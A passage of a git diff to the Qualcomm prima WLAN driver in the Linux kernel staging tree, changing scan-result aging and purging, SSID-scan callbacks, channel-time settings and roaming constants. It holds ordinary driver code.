(csrGetInfraSessionId(pMac) != -1) && + (pMac->scan.occupiedChannels.numChannels != occupied_chan_count)) + { + /* Update FW with new list */ + smsLog(pMac, LOGW, + FL("Updating occupied channel list, new chanNum %d"), + pMac->scan.occupiedChannels.numChannels); + csrRoamOffloadScan(pMac, ROAM_SCAN_OFFLOAD_UPDATE_CFG, + REASON_CHANNEL_LIST_CHANGED); + } +#endif pEntry = csrLLPeekHead( &pMac->scan.scanResultList, LL_ACCESS_LOCK ); //we don't need to update CC while connected to an AP which is advertising CC already if (csrIs11dSupported(pMac)) @@ -3267,8 +3735,9 @@ static void csrMoveTempScanResultsToMainList( tpAniSirGlobal pMac, tANI_U8 reaso } } } - csrElectedCountryInfo(pMac); - csrLearnCountryInformation( pMac, NULL, NULL, eANI_BOOLEAN_TRUE ); + if (csrElectedCountryInfo(pMac)) + csrLearnCountryInformation(pMac, NULL, NULL, + eANI_BOOLEAN_TRUE); } end: @@ -3294,6 +3763,43 @@ static void csrMoveTempScanResultsToMainList( tpAniSirGlobal pMac, tANI_U8 reaso return; } +void csrPurgeOldScanResults(tpAniSirGlobal pMac) +{ + tListElem *pEntry, *tmpEntry; + tCsrScanResult *pResult, *oldest_bss = NULL; + v_TIME_t oldest_entry = 0; + v_TIME_t curTime = vos_timer_get_system_time(); + + csrLLLock(&pMac->scan.scanResultList); + pEntry = csrLLPeekHead( &pMac->scan.scanResultList, LL_ACCESS_NOLOCK ); + while( pEntry ) + { + tmpEntry = csrLLNext(&pMac->scan.scanResultList, pEntry, + LL_ACCESS_NOLOCK); + pResult = GET_BASE_ADDR( pEntry, tCsrScanResult, Link ); + if((curTime - + pResult->Result.BssDescriptor.nReceivedTime) > oldest_entry) + { + oldest_entry = curTime - + pResult->Result.BssDescriptor.nReceivedTime; + oldest_bss = pResult; + } + pEntry = tmpEntry; + } + if (oldest_bss) + { + //Free the old BSS Entries + if( csrLLRemoveEntry(&pMac->scan.scanResultList, + &oldest_bss->Link, LL_ACCESS_NOLOCK) ) + { + smsLog(pMac, LOG1, FL(" Current time delta (%lu) of BSSID to be removed" MAC_ADDRESS_STR ), + (curTime - oldest_bss->Result.BssDescriptor.nReceivedTime), + MAC_ADDR_ARRAY(oldest_bss->Result.BssDescriptor.bssId)); + csrFreeScanResultEntry(pMac, oldest_bss); + } + } + csrLLUnlock(&pMac->scan.scanResultList); +} static tCsrScanResult *csrScanSaveBssDescription( tpAniSirGlobal pMac, tSirBssDescription *pBSSDescription, tDot11fBeaconIEs *pIes) @@ -3569,31 +4075,6 @@ void csrApplyChannelPowerCountryInfo( tpAniSirGlobal pMac, tCsrChannel *pChannel csrSetCfgCountryCode(pMac, countryCode); } -void csrUpdateFCCChannelList(tpAniSirGlobal pMac) -{ - tCsrChannel ChannelList; - tANI_U8 chnlIndx = 0; - int i; - - for ( i = 0; i < pMac->scan.base20MHzChannels.numChannels; i++ ) - { - if (pMac->scan.fcc_constraint && - ((pMac->scan.base20MHzChannels.channelList[i] == 12) || - (pMac->scan.base20MHzChannels.channelList[i] == 13))) - { - VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_INFO, - FL("removing channel %d"), - pMac->scan.base20MHzChannels.channelList[i]); - continue; - } - ChannelList.channelList[chnlIndx] = - pMac->scan.base20MHzChannels.channelList[i]; - chnlIndx++; - } - csrSetCfgValidChannelList(pMac, ChannelList.channelList, chnlIndx); - -} - void csrResetCountryInformation( tpAniSirGlobal pMac, tANI_BOOLEAN fForce, tANI_BOOLEAN updateRiva ) { if( fForce || (csrIs11dSupported( pMac ) && (!pMac->scan.f11dInfoReset))) @@ -3756,6 +4237,8 @@ tANI_BOOLEAN csrElectedCountryInfo(tpAniSirGlobal pMac) if (!pMac->scan.countryCodeCount) { + VOS_TRACE( VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_WARN, + "No AP with 11d Country code is present in scan list"); return fRet; } maxVotes = pMac->scan.votes11d[0].votes; @@ -4597,6 +5080,12 @@ tANI_BOOLEAN csrScanComplete( tpAniSirGlobal pMac, tSirSmeScanRsp *pScanRsp ) } csrSaveScanResults(pMac, pCommand->u.scanCmd.reason); + /* filter scan result based on valid channel list number */ + if (pMac->scan.fcc_constraint) + { + smsLog(pMac, LOG1, FL("Clear BSS from invalid channels")); + csrScanFilterResults(pMac); + } #ifdef FEATURE_WLAN_DIAG_SUPPORT_CSR { vos_log_scan_pkt_type *pScanLog = NULL; @@ -5035,6 +5524,7 @@ static tANI_BOOLEAN csrScanProcessScanResults( tpAniSirGlobal pMac, tSmeCmd *pCo tANI_U32 cbParsed; tSirBssDescription *pSirBssDescription; tANI_U32 cbBssDesc; + eHalStatus status; tANI_U32 cbScanResult = GET_FIELD_OFFSET( tSirSmeScanRsp, bssDescription ) + sizeof(tSirBssDescription); //We need at least one CB @@ -5168,6 +5658,22 @@ static tANI_BOOLEAN csrScanProcessScanResults( tpAniSirGlobal pMac, tSmeCmd *pCo *pfRemoveCommand = fRemoveCommand; } + /* + * Currently SET_FCC_CHANNEL issues updated channel list to fw. + * At the time of driver load, if scan is issued followed with + * SET_FCC_CHANNEL, driver will send update channel list to fw. + * Fw will stop ongoing scan because of that GUI will have very less + * scan list. + * Update channel list should be sent to fw once scan is done + */ + if (pMac->scan.defer_update_channel_list) { + status = csrUpdateChannelList(pMac); + if (eHAL_STATUS_SUCCESS != status) + smsLog(pMac, LOGE, + FL( "failed to update the supported channel list")); + pMac->scan.defer_update_channel_list = false; + } + #ifdef WLAN_AP_STA_CONCURRENCY if (pMac->fScanOffload) return fRet; @@ -5230,7 +5736,7 @@ eHalStatus csrScanSmeScanResponse( tpAniSirGlobal pMac, void *pMsgBuf ) tListElem *pEntry; tSmeCmd *pCommand; eCsrScanStatus scanStatus; - tSirSmeScanRsp *pScanRsp = (tSirSmeScanRsp *)pMsgBuf; + tSirSmeScanRsp *pScanRsp; tSmeGetScanChnRsp *pScanChnInfo; tANI_BOOLEAN fRemoveCommand = eANI_BOOLEAN_TRUE; eCsrScanReason reason = eCsrScanOther; @@ -5249,7 +5755,6 @@ eHalStatus csrScanSmeScanResponse( tpAniSirGlobal pMac, void *pMsgBuf ) /* Purge the scan results based on Aging */ if (pEntry && pMac->scan.scanResultCfgAgingTime) csrPurgeScanResultByAge(pMac); - scanStatus = (eSIR_SME_SUCCESS == pScanRsp->statusCode) ? eCSR_SCAN_SUCCESS : eCSR_SCAN_FAILURE; reason = pCommand->u.scanCmd.reason; switch(pCommand->u.scanCmd.reason) { @@ -5257,6 +5762,9 @@ eHalStatus csrScanSmeScanResponse( tpAniSirGlobal pMac, void *pMsgBuf ) case eCsrScanAbortNormalScan: case eCsrScanBGScanAbort: case eCsrScanBGScanEnable: + pScanRsp = (tSirSmeScanRsp *)pMsgBuf; + scanStatus = (eSIR_SME_SUCCESS == pScanRsp->statusCode) ? + eCSR_SCAN_SUCCESS : eCSR_SCAN_FAILURE; break; case eCsrScanGetScanChnInfo: pScanChnInfo = (tSmeGetScanChnRsp *)pMsgBuf; @@ -5268,14 +5776,22 @@ eHalStatus csrScanSmeScanResponse( tpAniSirGlobal pMac, void *pMsgBuf ) csrScanAgeResults(pMac, pScanChnInfo); break; case eCsrScanForCapsChange: + pScanRsp = (tSirSmeScanRsp *)pMsgBuf; + scanStatus = (eSIR_SME_SUCCESS == pScanRsp->statusCode) ? + eCSR_SCAN_SUCCESS : eCSR_SCAN_FAILURE; csrScanProcessScanResults( pMac, pCommand, pScanRsp, &fRemoveCommand ); break; case eCsrScanP2PFindPeer: - scanStatus = ((eSIR_SME_SUCCESS == pScanRsp->statusCode) && (pScanRsp->length > 50)) ? eCSR_SCAN_FOUND_PEER : eCSR_SCAN_FAILURE; - csrScanProcessScanResults( pMac, pCommand, pScanRsp, NULL ); - break; + pScanRsp = (tSirSmeScanRsp *)pMsgBuf; + scanStatus = ((eSIR_SME_SUCCESS == pScanRsp->statusCode) && + (pScanRsp->length > 50)) ? eCSR_SCAN_FOUND_PEER : eCSR_SCAN_FAILURE; + csrScanProcessScanResults( pMac, pCommand, pScanRsp, NULL ); + break; case eCsrScanSetBGScanParam: default: + pScanRsp = (tSirSmeScanRsp *)pMsgBuf; + scanStatus = (eSIR_SME_SUCCESS == pScanRsp->statusCode) ? + eCSR_SCAN_SUCCESS : eCSR_SCAN_FAILURE; if(csrScanProcessScanResults( pMac, pCommand, pScanRsp, &fRemoveCommand )) { //Not to get channel info if the scan is not a wildcard scan because @@ -5297,7 +5813,7 @@ eHalStatus csrScanSmeScanResponse( tpAniSirGlobal pMac, void *pMsgBuf ) csrReleaseScanCommand(pMac, pCommand, scanStatus); - } + } smeProcessPendingQueue( pMac ); } else @@ -5435,7 +5951,8 @@ tANI_BOOLEAN csrScanAgeOutBss(tpAniSirGlobal pMac, tCsrScanResult *pResult) { //Reset the counter so that aging out of connected BSS won't hapeen too soon pResult->AgingCount = (tANI_S32)pMac->roam.configParam.agingCount; - pResult->Result.BssDescriptor.nReceivedTime = (tANI_TIMESTAMP)palGetTickCount(pMac->hHdd); + pResult->Result.BssDescriptor.nReceivedTime = + vos_timer_get_system_time(); return (fRet); } @@ -5524,6 +6041,42 @@ eHalStatus csrIbssAgeBss(tpAniSirGlobal pMac) return (status); } +/** + * csr_remove_bssid_from_scan_list() - remove the bssid from + * scan list + * @pMac: mac context. + * @bssid: bssid to be removed + * + * This function remove the given bssid from scan list. + * + * Return: void. + */ +void csr_remove_bssid_from_scan_list(tpAniSirGlobal pMac, + tSirMacAddr bssid) +{ + tListElem *entry,*free_elem; + tCsrScanResult *bss_desc; + tDblLinkList *list = &pMac->scan.scanResultList; + + csrLLLock(list); + entry = csrLLPeekHead(list, LL_ACCESS_NOLOCK); + while (entry != NULL) { + bss_desc = GET_BASE_ADDR( entry, tCsrScanResult, Link); + if (vos_mem_compare(bss_desc->Result.BssDescriptor.bssId, + bssid, sizeof(tSirMacAddr))) { + free_elem = entry; + entry = csrLLNext(list, entry, LL_ACCESS_NOLOCK); + csrLLRemoveEntry(list, free_elem, LL_ACCESS_NOLOCK); + csrFreeScanResultEntry(pMac, bss_desc); + smsLog(pMac, LOGW, FL("Removed BSS entry:%pM"), + bssid); + continue; + } + entry = csrLLNext(list, entry, LL_ACCESS_NOLOCK); + } + csrLLUnlock(list); +} + eHalStatus csrSendMBScanReq( tpAniSirGlobal pMac, tANI_U16 sessionId, tCsrScanRequest *pScanReq, tScanReqParam *pScanReqParam ) { @@ -5662,8 +6215,10 @@ eHalStatus csrSendMBScanReq( tpAniSirGlobal pMac, tANI_U16 sessionId, pMsg->minChannelTime = pal_cpu_to_be32(minChnTime); pMsg->maxChannelTime = pal_cpu_to_be32(maxChnTime); - pMsg->minChannelTimeBtc = pMac->roam.configParam.nActiveMinChnTimeBtc; - pMsg->maxChannelTimeBtc = pMac->roam.configParam.nActiveMaxChnTimeBtc; + pMsg->min_chntime_btc_esco = + pMac->roam.configParam.min_chntime_btc_esco; + pMsg->max_chntime_btc_esco = + pMac->roam.configParam.max_chntime_btc_esco; //hidden SSID option pMsg->hiddenSsid = pScanReqParam->hiddenSsid; //rest time @@ -5925,21 +6480,21 @@ eHalStatus csrProcessScanCommand( tpAniSirGlobal pMac, tSmeCmd *pCommand ) { for( i = 0; i < CSR_ROAM_SESSION_MAX; i++ ) { - pCommand->u.scanCmd.lastRoamState[i] = + pMac->roam.prev_state[i]= csrRoamStateChange( pMac, eCSR_ROAMING_STATE_SCANNING, i); smsLog( pMac, LOG3, "starting SCAN command from %d state...." - " reason is %d", pCommand->u.scanCmd.lastRoamState[i], + " reason is %d", pMac->roam.prev_state[i], pCommand->u.scanCmd.reason ); } } else { - pCommand->u.scanCmd.lastRoamState[pCommand->sessionId] = + pMac->roam.prev_state[pCommand->sessionId] = csrRoamStateChange(pMac, eCSR_ROAMING_STATE_SCANNING, pCommand->sessionId); smsLog( pMac, LOG3, "starting SCAN command from %d state.... reason is %d", - pCommand->u.scanCmd.lastRoamState[pCommand->sessionId], + pMac->roam.prev_state[pCommand->sessionId], pCommand->u.scanCmd.reason ); } @@ -6272,10 +6827,15 @@ eHalStatus csrScanCopyRequest(tpAniSirGlobal pMac, tCsrScanRequest *pDstReq, tCs /* Since in CsrScanRequest,value of pMac->scan.nextScanID * is incremented before calling CsrScanCopyRequest, as a * result pMac->scan.nextScanID is equal to ONE for the - * first scan. + * first scan. If number of channels is less than + * max chan for dwell time no need to skip dfs + * in first scan as anyway few channels will be scanned and + * it will not take much time to display results on GUI. */ - if ((pMac->roam.configParam.initialScanSkipDFSCh && - 1 == pMac->scan.nextScanID) ||(pMac->miracast_mode)) + if (((pSrcReq->ChannelInfo.numOfChannels >= + pMac->roam.configParam.max_chan_for_dwell_time_cfg) && + (pMac->roam.configParam.initialScanSkipDFSCh && + 1 == pMac->scan.nextScanID)) ||(pMac->miracast_mode)) { smsLog(pMac, LOG1, FL("Initial scan, scan only non-DFS channels")); @@ -6463,14 +7023,17 @@ void csrScanCallCallback(tpAniSirGlobal pMac, tSmeCmd *pCommand, eCsrScanStatus if(pCommand->u.scanCmd.callback) { if (pCommand->u.scanCmd.abortScanIndication){ - smsLog( pMac, LOG1, FL("scanDone due to abort")); - scanStatus = eCSR_SCAN_ABORT; + if ((pCommand->u.scanCmd.reason != eCsrScanForSsid) || + (scanStatus != eCSR_SCAN_SUCCESS)) { + smsLog( pMac, LOG1, FL("scanDone due to abort")); + scanStatus = eCSR_SCAN_ABORT; + } } -// sme_ReleaseGlobalLock( &pMac->sme ); pCommand->u.scanCmd.callback(pMac, pCommand->u.scanCmd.pContext, pCommand->u.scanCmd.scanID, scanStatus); -// sme_AcquireGlobalLock( &pMac->sme ); } else { - smsLog( pMac, LOG2, "%s:%d - Callback NULL!!!", __func__, __LINE__); + smsLog(pMac, LOG2, + FL("Callback NULL cmd reason %d"), + pCommand->u.scanCmd.reason); } } @@ -6721,18 +7284,21 @@ static void csrPurgeScanResultByAge(void *pv) tpAniSirGlobal pMac = PMAC_STRUCT( pv ); tListElem *pEntry, *tmpEntry; tCsrScanResult *pResult; - tANI_TIMESTAMP ageOutTime = pMac->scan.scanResultCfgAgingTime * PAL_TICKS_PER_SECOND; - tANI_TIMESTAMP curTime = (tANI_TIMESTAMP)palGetTickCount(pMac->hHdd); + v_TIME_t ageOutTime = + (v_TIME_t)(pMac->scan.scanResultCfgAgingTime * SYSTEM_TIME_SEC_TO_MSEC); + v_TIME_t curTime = vos_timer_get_system_time(); csrLLLock(&pMac->scan.scanResultList); pEntry = csrLLPeekHead( &pMac->scan.scanResultList, LL_ACCESS_NOLOCK ); + smsLog(pMac, LOG1, FL("Ageout time=%lu"),ageOutTime); while( pEntry ) { tmpEntry = csrLLNext(&pMac->scan.scanResultList, pEntry, LL_ACCESS_NOLOCK); pResult = GET_BASE_ADDR( pEntry, tCsrScanResult, Link ); if((curTime - pResult->Result.BssDescriptor.nReceivedTime) > ageOutTime) { - smsLog(pMac, LOGW, " age out due to time out"); + smsLog(pMac, LOG1, FL("age out due to time out for BSSID" MAC_ADDRESS_STR), + MAC_ADDR_ARRAY(pResult->Result.BssDescriptor.bssId)); csrScanAgeOutBss(pMac, pResult); } pEntry = tmpEntry; @@ -7164,12 +7730,13 @@ void csrReleaseScanCommand(tpAniSirGlobal pMac, tSmeCmd *pCommand, eCsrScanStatu { tANI_U32 i; for(i = 0; i < CSR_ROAM_SESSION_MAX; i++) - csrRoamStateChange(pMac, pCommand->u.scanCmd.lastRoamState[i], i); + csrRoamStateChange(pMac, + pMac->roam.prev_state[i], i); } else { csrRoamStateChange(pMac, - pCommand->u.scanCmd.lastRoamState[pCommand->sessionId], + pMac->roam.prev_state[pCommand->sessionId], pCommand->sessionId); } @@ -7318,7 +7885,73 @@ eHalStatus csrScanGetBKIDCandidateList(tpAniSirGlobal pMac, tANI_U32 sessionId, } #endif /* FEATURE_WLAN_WAPI */ +/** + * csr_scan_request_set_chan_time() - Populate max and min + * channel time in Scan request + * @pMac - pointer to mac context + * @pScanCmd - pointer to the Scan command + * + * Return - None + */ +#ifndef QCA_WIFI_ISOC +static void csr_scan_request_set_chan_time(tpAniSirGlobal pMac, + tSmeCmd *pScanCmd) +{ + if (pMac->roam.neighborRoamInfo.handoffReqInfo.src + == FASTREASSOC) { + pScanCmd->u.scanCmd.u.scanRequest.maxChnTime + = MAX_ACTIVE_SCAN_FOR_ONE_CHANNEL_FASTREASSOC; + pScanCmd->u.scanCmd.u.scanRequest.minChnTime + = MIN_ACTIVE_SCAN_FOR_ONE_CHANNEL_FASTREASSOC; + pMac->roam.neighborRoamInfo.handoffReqInfo.src = 0; + } else { + pScanCmd->u.scanCmd.u.scanRequest.maxChnTime + = MAX_ACTIVE_SCAN_FOR_ONE_CHANNEL; + pScanCmd->u.scanCmd.u.scanRequest.minChnTime + = MIN_ACTIVE_SCAN_FOR_ONE_CHANNEL; + } +} +#else +static void csr_scan_request_set_chan_time(tpAniSirGlobal pMac, + tSmeCmd *pScanCmd) +{ + pScanCmd->u.scanCmd.u.scanRequest.maxChnTime + = MAX_ACTIVE_SCAN_FOR_ONE_CHANNEL; + pScanCmd->u.scanCmd.u.scanRequest.minChnTime + = MIN_ACTIVE_SCAN_FOR_ONE_CHANNEL; +} +#endif + +/** + * csr_ssid_scan_done_callback() - Callback to indicate + * scan is done for ssid scan + * @halHandle: handle to hal + * @context: SSID scan context + * @scanId: Scan id for the scheduled scan + * @status: scan done status + * + * Return - eHalStatus + */ +static eHalStatus csr_ssid_scan_done_callback(tHalHandle halHandle, + void *context, + tANI_U32 scanId, + eCsrScanStatus status) +{ + struct csr_scan_for_ssid_context *scan_context = + (struct csr_scan_for_ssid_context *)context; + if (NULL == scan_context) + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + FL("scan for ssid context not found")); + + if (eCSR_SCAN_ABORT == status) + csrRoamCallCallback(scan_context->pMac, scan_context->sessionId, + NULL, scan_context->roamId, + eCSR_ROAM_ASSOCIATION_FAILURE, + eCSR_ROAM_RESULT_SCAN_FOR_SSID_FAILURE); + vos_mem_free(scan_context); + return eHAL_STATUS_SUCCESS; +} //This function is usually used for BSSs that suppresses SSID so the profile //shall have one and only one SSID @@ -7329,6 +7962,7 @@ eHalStatus csrScanForSSID(tpAniSirGlobal pMac, tANI_U32 sessionId, tCsrRoamProfi tANI_U8 bAddr[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; tANI_U8 index = 0; tANI_U32 numSsid = pProfile->SSIDs.numOfSSIDs; + struct csr_scan_for_ssid_context *context; smsLog(pMac, LOG2, FL("called")); //For WDS, we use the index 0. There must be at least one in there @@ -7356,13 +7990,23 @@ eHalStatus csrScanForSSID(tpAniSirGlobal pMac, tANI_U32 sessionId, tCsrRoamProfi { status = csrRoamCopyProfile(pMac, pScanCmd->u.scanCmd.pToRoamProfile, pProfile); } + context = vos_mem_malloc(sizeof(*context)); + if (NULL == context) + { + smsLog(pMac, LOGE, + "Failed to allocate memory for ssid scan context"); + status = eHAL_STATUS_FAILED_ALLOC; + } if(!HAL_STATUS_SUCCESS(status)) break; + context->pMac = pMac; + context->sessionId = sessionId; + context->roamId = roamId; pScanCmd->u.scanCmd.roamId = roamId; pScanCmd->command = eSmeCommandScan; pScanCmd->sessionId = (tANI_U8)sessionId; - pScanCmd->u.scanCmd.callback = NULL; - pScanCmd->u.scanCmd.pContext = NULL; + pScanCmd->u.scanCmd.callback = csr_ssid_scan_done_callback; + pScanCmd->u.scanCmd.pContext = context; pScanCmd->u.scanCmd.reason = eCsrScanForSsid;//Need to check: might need a new reason for SSID scan for LFR during multisession with p2p pScanCmd->u.scanCmd.scanID = pMac->scan.nextScanID++; //let it wrap around vos_mem_set(&pScanCmd->u.scanCmd.u.scanRequest, sizeof(tCsrScanRequest), 0); @@ -7401,20 +8045,17 @@ eHalStatus csrScanForSSID(tpAniSirGlobal pMac, tANI_U32 sessionId, tCsrRoamProfi /* For one channel be good enpugh time to receive beacon atleast */ if( 1 == pProfile->ChannelInfo.numOfChannels ) { - pScanCmd->u.scanCmd.u.scanRequest.maxChnTime = MAX_ACTIVE_SCAN_FOR_ONE_CHANNEL; - pScanCmd->u.scanCmd.u.scanRequest.minChnTime = MIN_ACTIVE_SCAN_FOR_ONE_CHANNEL; - } - else - { + csr_scan_request_set_chan_time(pMac, pScanCmd); + } else { pScanCmd->u.scanCmd.u.scanRequest.maxChnTime = pMac->roam.configParam.nActiveMaxChnTime; pScanCmd->u.scanCmd.u.scanRequest.minChnTime = pMac->roam.configParam.nActiveMinChnTime; } - pScanCmd->u.scanCmd.u.scanRequest.maxChnTimeBtc = - pMac->roam.configParam.nActiveMaxChnTimeBtc; - pScanCmd->u.scanCmd.u.scanRequest.minChnTimeBtc = - pMac->roam.configParam.nActiveMinChnTimeBtc; + pScanCmd->u.scanCmd.u.scanRequest.max_chntime_btc_esco = + pMac->roam.configParam.max_chntime_btc_esco; + pScanCmd->u.scanCmd.u.scanRequest.min_chntime_btc_esco = + pMac->roam.configParam.min_chntime_btc_esco; if(pProfile->BSSIDs.numOfBSSIDs == 1) { vos_mem_copy(pScanCmd->u.scanCmd.u.scanRequest.bssid, @@ -8417,8 +9058,8 @@ eHalStatus csrScanSavePreferredNetworkFound(tpAniSirGlobal pMac, * that holds the next BSS description */ pBssDescr->length = (tANI_U16)( - sizeof(tSirBssDescription) - sizeof(tANI_U16) - - sizeof(tANI_U32) + uLen); + ((uintptr_t)OFFSET_OF(tSirBssDescription, ieFields)) + - sizeof(pBssDescr->length) + uLen); if (pParsedFrame->dsParamsPresent) { pBssDescr->channelId = pParsedFrame->channelNumber; @@ -8521,7 +9162,7 @@ eHalStatus csrScanSavePreferredNetworkFound(tpAniSirGlobal pMac, pBssDescr->timeStamp[1] = pParsedFrame->timeStamp[1]; pBssDescr->capabilityInfo = *((tANI_U16 *)&pParsedFrame->capabilityInfo); vos_mem_copy((tANI_U8 *) &pBssDescr->bssId, (tANI_U8 *) macHeader->bssId, sizeof(tSirMacAddr)); - pBssDescr->nReceivedTime = (tANI_TIMESTAMP)palGetTickCount(pMac->hHdd); + pBssDescr->nReceivedTime = vos_timer_get_system_time(); smsLog( pMac, LOG1, FL("Bssid= "MAC_ADDRESS_STR " chan= %d, rssi = %d "), diff --git a/drivers/staging/prima/CORE/SME/src/csr/csrInsideApi.h b/drivers/staging/prima/CORE/SME/src/csr/csrInsideApi.h index 07aeefc7e126b..9bd0e51ff4c6a 100644 --- a/drivers/staging/prima/CORE/SME/src/csr/csrInsideApi.h +++ b/drivers/staging/prima/CORE/SME/src/csr/csrInsideApi.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -48,8 +48,11 @@ #define CSR_ACTIVE_MAX_CHANNEL_TIME 40 #define CSR_ACTIVE_MIN_CHANNEL_TIME 20 -#define CSR_ACTIVE_MAX_CHANNEL_TIME_BTC 120 -#define CSR_ACTIVE_MIN_CHANNEL_TIME_BTC 60 +#define CSR_ACTIVE_MAX_CHANNEL_TIME_ESCO_BTC 120 +#define CSR_ACTIVE_MIN_CHANNEL_TIME_ESCO_BTC 60 + +#define CSR_ACTIVE_MIN_CHANNEL_TIME_SCO_BTC 20 +#define CSR_ACTIVE_MAX_CHANNEL_TIME_SCO_BTC 40 #ifdef WLAN_AP_STA_CONCURRENCY #define CSR_PASSIVE_MAX_CHANNEL_TIME_CONC 110 @@ -68,8 +71,9 @@ #define CSR_MAX_2_4_GHZ_SUPPORTED_CHANNELS 14 -#define CSR_MAX_BSS_SUPPORT 250 +#define CSR_MAX_BSS_SUPPORT 512 #define SYSTEM_TIME_MSEC_TO_USEC 1000 +#define SYSTEM_TIME_SEC_TO_MSEC 1000 //This number minus 1 means the number of times a channel is scanned before a BSS is remvoed from //cache scan result @@ -111,6 +115,44 @@ #define CSR_JOIN_RETRY_TIMEOUT_PERIOD ( 1 * PAL_TIMER_TO_SEC_UNIT ) // 1 second #endif +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD +#define ROAMING_RSSI_WEIGHT 50 +#define MIN_RSSI (-100) +#define MAX_RSSI 0 +#define ROAM_AP_COUNT_WEIGHT 50 +#define ROAM_MAX_COUNT 30 +#define ROAM_MIN_COUNT 0 +#define ROAM_MAX_WEIGHT 100 + +#define RSSI_WEIGHTAGE 25 +#define HT_CAPABILITY_WEIGHTAGE 10 +#define VHT_CAP_WEIGHTAGE 6 +#define BEAMFORMING_CAP_WEIGHTAGE 2 +#define CHAN_WIDTH_WEIGHTAGE 10 +#define CHAN_BAND_WEIGHTAGE 5 +#define WMM_WEIGHTAGE 2 +#define CCA_WEIGHTAGE 10 +#define OTHER_AP_WEIGHT 30 + +#define MAX_AP_LOAD 255 +#define PENALTY_TIMEOUT (30 * 60 * 1000) +#define PENALTY_REMAINING_SCORE (7) +#define PENALTY_TOTAL_SCORE (10) +#define PER_EXCELENT_RSSI -40 +#define PER_GOOD_RSSI -55 +#define PER_POOR_RSSI -65 +#define PER_BAD_RSSI -80 +#define PER_ROAM_EXCELLENT_RSSI_WEIGHT 100 +#define PER_ROAM_GOOD_RSSI_WEIGHT 80 +#define PER_ROAM_BAD_RSSI_WEIGHT 60 +#define PER_ROAM_MAX_WEIGHT 100 +#define PER_ROAM_80MHZ 100 +#define PER_ROAM_40MHZ 70 +#define PER_ROAM_20MHZ 30 +#define PER_ROAM_PENALTY (3/10) +#define PER_ROAM_MAX_BSS_SCORE 10000 +#endif + typedef enum { eCsrNextScanNothing, @@ -169,7 +211,9 @@ typedef struct tagCsrScanResult eCsrEncryptionType ucEncryptionType; //Preferred Encryption type that matched with profile. eCsrEncryptionType mcEncryptionType; eCsrAuthType authType; //Preferred auth type that matched with the profile. - +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + int congestionScore; +#endif tCsrScanResultInfo Result; }tCsrScanResult; @@ -179,8 +223,19 @@ typedef struct tListElem *pCurEntry; }tScanResultList; - - +/** + * csr_scan_for_ssid_context() - Callback context for SSID scan + * + * @pMac: pMac handle + * @sessionId: scan session id + * @roamId: roam Id + */ +struct csr_scan_for_ssid_context +{ + tpAniSirGlobal pMac; + tANI_U32 sessionId; + tANI_U32 roamId; +}; #define CSR_IS_ROAM_REASON( pCmd, reason ) ( (reason) == (pCmd)->roamCmd.roamReason ) #define CSR_IS_BETTER_PREFER_VALUE(v1, v2) ((v1) > (v2)) @@ -382,7 +437,6 @@ eCsrCfgDot11Mode csrGetCfgDot11ModeFromCsrPhyMode(tCsrRoamProfile *pProfile, eCs tANI_U32 csrTranslateToWNICfgDot11Mode(tpAniSirGlobal pMac, eCsrCfgDot11Mode csrDot11Mode); void csrSaveChannelPowerForBand( tpAniSirGlobal pMac, tANI_BOOLEAN fPopulate5GBand ); void csrApplyChannelPowerCountryInfo( tpAniSirGlobal pMac, tCsrChannel *pChannelList, tANI_U8 *countryCode, tANI_BOOLEAN updateRiva); -void csrUpdateFCCChannelList(tpAniSirGlobal pMac); void csrApplyPower2Current( tpAniSirGlobal pMac ); void csrAssignRssiForCategory(tpAniSirGlobal pMac, tANI_S8 bestApRssi, tANI_U8 catOffset); tANI_BOOLEAN csrIsMacAddressZero( tpAniSirGlobal pMac, tCsrBssid *pMacAddr ); @@ -420,7 +474,8 @@ eHalStatus csrRoamCloseSession( tpAniSirGlobal pMac, tANI_U32 sessionId, tANI_BOOLEAN fSync, tANI_U8 bPurgeList, csrRoamSessionCloseCallback callback, void *pContext ); -void csrPurgeSmeCmdList(tpAniSirGlobal pMac, tANI_U32 sessionId); +void csrPurgeSmeCmdList(tpAniSirGlobal pMac, tANI_U32 sessionId, + bool flush_all); void csrCleanupSession(tpAniSirGlobal pMac, tANI_U32 sessionId); eHalStatus csrRoamGetSessionIdFromBSSID( tpAniSirGlobal pMac, tCsrBssid *bssid, tANI_U32 *pSessionId ); eCsrCfgDot11Mode csrFindBestPhyMode( tpAniSirGlobal pMac, tANI_U32 phyMode ); @@ -642,6 +697,11 @@ tANI_BOOLEAN csrIsProfileWapi( tCsrRoamProfile *pProfile ); #define WLAN_SECURITY_EVENT_PMKID_CANDIDATE_FOUND 7 #define WLAN_SECURITY_EVENT_PMKID_UPDATE 8 #define WLAN_SECURITY_EVENT_MIC_ERROR 9 +#define WLAN_SECURITY_EVENT_SET_UNICAST_REQ 10 +#define WLAN_SECURITY_EVENT_SET_UNICAST_RSP 11 +#define WLAN_SECURITY_EVENT_SET_BCAST_REQ 12 +#define WLAN_SECURITY_EVENT_SET_BCAST_RSP 13 + #define AUTH_OPEN 0 #define AUTH_SHARED 1 @@ -1037,6 +1097,9 @@ eHalStatus csrRoamDelPMKIDfromCache( tpAniSirGlobal pMac, tANI_U32 sessionId, tANI_BOOLEAN csrElectedCountryInfo(tpAniSirGlobal pMac); void csrAddVoteForCountryInfo(tpAniSirGlobal pMac, tANI_U8 *pCountryCode); void csrClearVotesForCountryInfo(tpAniSirGlobal pMac); +void csr_remove_bssid_from_scan_list(tpAniSirGlobal pMac, + tSirMacAddr bssid); + #ifdef WLAN_FEATURE_AP_HT40_24G eHalStatus csrSetHT2040Mode(tpAniSirGlobal pMac, tANI_U32 sessionId, tANI_U8 cbMode); #endif diff --git a/drivers/staging/prima/CORE/SME/src/csr/csrNeighborRoam.c b/drivers/staging/prima/CORE/SME/src/csr/csrNeighborRoam.c index d4da25729653e..da1f2cf29c662 100644 --- a/drivers/staging/prima/CORE/SME/src/csr/csrNeighborRoam.c +++ b/drivers/staging/prima/CORE/SME/src/csr/csrNeighborRoam.c @@ -1,5 +1,5 @@ /* - * 